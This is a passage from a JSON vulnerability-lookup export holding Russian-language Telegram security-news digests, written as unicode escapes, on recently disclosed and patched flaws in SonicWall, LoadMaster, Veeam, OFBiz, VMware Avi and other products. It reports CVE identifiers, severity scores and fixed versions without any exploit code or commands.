\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u043c.\n\nSonicWall \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0430\u0432\u0433\u0443\u0441\u0442\u0430.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u043a \u043f\u0430\u043d\u0435\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u043c.\n\n2. Fortinet \u0438\u0437\u0443\u0447\u0438\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 GeoServer.\n\n\u0421\u0440\u0435\u0434\u0438 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0448\u0442\u0430\u043c\u043c\u043e\u0432: \u0440\u044f\u0434 \u043c\u0430\u0439\u043d\u0435\u0440\u043e\u0432, Condi, Mirai, SideWalk \u0438 GoReverse.\n\n3. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Sector7 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0432 \u0437\u0430\u0440\u044f\u0434\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0434\u043b\u044f \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439 Autel MaxiCharger, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u0411\u044d\u043a\u0434\u043e\u0440\u043e\u043c \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0441\u043e\u043f\u0440\u044f\u0436\u0435\u043d\u0438\u044f Bluetooth, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d \u043f\u0440\u0435\u0434\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e.\n\n4. Progress Software \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0431\u0430\u043b\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u043a\u0438 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 LoadMaster \u0438 LoadMaster Multi-Tenant (MT) Hypervisor, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-7591 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0432\u043e\u0434\u0430 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u0430 \u0441\u0430\u043c\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443\u00a010 \u0438\u0437 10\u00a0\u0432 \u0432\u0438\u0434\u0443 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u043b\u043e, \u043d\u043e, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f.\n\n5. \u041d\u0435\u043c\u0435\u0446\u043a\u0430\u044f SySS \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u041f\u041e \u0432\u0438\u0434\u0435\u043e\u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f C-MOR, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, XSS \u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043b\u044f C-MOR \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0448\u0435\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a.\n\n6. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Theori \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 CVE-2024\u201327394, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u043d\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n7. QNAP \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430\u00a0\u0441\u0435\u043c\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0440\u044f\u0434\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0432\u043e\u0435\u043c \u041f\u041e.", "creation_timestamp": "2024-09-10T16:31:06.000000Z"}, {"uuid": "fa96db6b-55c1-4b2e-ae50-a1ad2c104972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6177", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0438 \u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c\u0438 \u0442\u0440\u0435\u043d\u0434\u0430\u043c\u0438 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Mistymntncop \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b PoC \u0434\u043b\u044f CVE-2024-5274, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Chrome, \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0435\u0449\u0435 \u0432 \u043c\u0430\u0435.\n\nQiAnXin \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043e\u0442\u0447\u0435\u0442 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0435\u0439 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 0-day \u0432 Windows DWM Core, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u00a0CVE-2024-30051 \u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u0430 Qakbot.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Jamf \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043e\u0431\u0437\u043e\u0440 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u043e\u0431\u0445\u043e\u0434\u0430 Gatekeeper macOS \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\nPatchstack \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 CVE-2024-44000, \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 \u043a\u044d\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f LiteSpeed WordPress, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041f\u0435\u0440\u0432\u043e\u0439 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0441\u0442\u0430\u043b\u0430 CVE-2024-28000, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0435 \u0434\u0432\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043d\u0430\u0437\u0430\u0434 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b cookie \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n\u041e\u043d\u0430 \u0431\u044b\u043b\u0430\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 22 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2024 \u0433\u043e\u0434\u0430, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e \u0432\u0447\u0435\u0440\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c LiteSpeed Cache \u0432\u0435\u0440\u0441\u0438\u0438 6.5.0.1.\n\nVeeam \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f 18 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 Veeam Backup & Replication, Service Provider Console \u0438 One.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0438\u0437 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f CVE-2024-40711 - \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f (CVSS v3.1: 9,8) \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 Veeam Backup & Replication, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nApache \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f CVE-2024-45195 \u0432 \u0441\u0432\u043e\u0435\u043c \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c OFBiz (Open For Business), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Linux \u0438 Windows.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Rapid7 \u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u044f\u043c\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430 Apache \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 18.12.16, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 RCE \u0432 OFBiz, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.", "creation_timestamp": "2024-09-06T16:05:05.000000Z"}, {"uuid": "bf70f50c-9885-4e6d-bcb3-e888d9fc1dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "exploited", "source": "https://t.me/true_secator/6669", "content": "\u041f\u043e \u0443\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0441\u0435\u0433\u043e\u0434\u043d\u044f VMware Avi Load Balancer \u0438 Zyxel CPE.\n\n\u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u043c\u043e \u043f\u0435\u0440\u0432\u043e\u0439 Broadcom \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 VMware Avi Load Balancer, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n\nCVE-2025-22217 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 8,6 \u0438 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0414\u0430\u043d\u0438\u044d\u043b\u043e\u043c \u041a\u0443\u043a\u0443\u0447\u043a\u0430 \u0438 \u041c\u0430\u0442\u0435\u0443\u0448\u043e\u043c \u0414\u0430\u0440\u0434\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Avi Load Balancer 30.1.1 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 30.1.2-2p2), 30.1.2 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 30.1.2-2p2), 30.2.1 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 30.2.1-2p5) \u0438 30.2.2 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 30.2.2-2p2)\n\nBroadcom \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u0435\u0440\u0441\u0438\u0438 22.x \u0438 21.x \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2025-22217.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u044e 30.1.1, \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 30.1.2 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 